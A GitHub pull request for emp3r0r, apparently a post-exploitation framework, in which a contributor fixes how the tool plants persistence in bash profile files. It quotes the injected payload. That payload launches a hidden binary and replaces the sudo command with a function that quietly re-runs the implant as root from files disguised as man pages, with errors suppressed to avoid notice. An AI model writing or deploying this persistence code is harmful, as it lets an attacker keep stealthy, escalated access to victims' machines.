jm33-m0 / emp3r0r

Linux/Windows post-exploitation framework made by linux user
https://infosec.exchange/@jm33
MIT License
1.27k stars 233 forks source link

fix: persistence using profiles #260

Closed sausagenoods closed 1 year ago

sausagenoods commented 1 year ago

Hi, this PR fixes two things:

  1. I believe you meant .bash_profile on line 140. emp3r0r currently tries to source .bashprofile from .bashrc and other profile files. However .bashprofile doesn't exist and the payload gets written to .bashrc instead.
  2. On line 171, need to enclose %s in parentheses so all of %s has stderr silenced. Currently only the last command's output gets redirected and this causes visible errors.
    export PERSISTENCE=true
    set +m;/home/test-ss/.less-hist 2>/dev/null
    function sudo() { /usr/bin/sudo $@; (set +m;(/usr/bin/sudo -E /env||/usr/bin/sudo -E /usr/bin/x||/usr/bin/sudo -E /usr/bin/.env||/usr/bin/sudo -E /usr/local/bin/env||/usr/bin/sudo -E /bin/.env||/usr/bin/sudo -E /usr/share/man/man1/arch.gz||/usr/bin/sudo -E /usr/share/man/man1/ls.1.gz||/usr/bin/sudo -E /usr/share/man/man1/arch.5.gz 2>/dev/null)) }

    ^ So right now only /usr/bin/sudo -E /usr/share/man/man1/arch.5.gz has stderr redirected into /dev/null.

jm33-m0 commented 1 year ago

Thanks for the fix!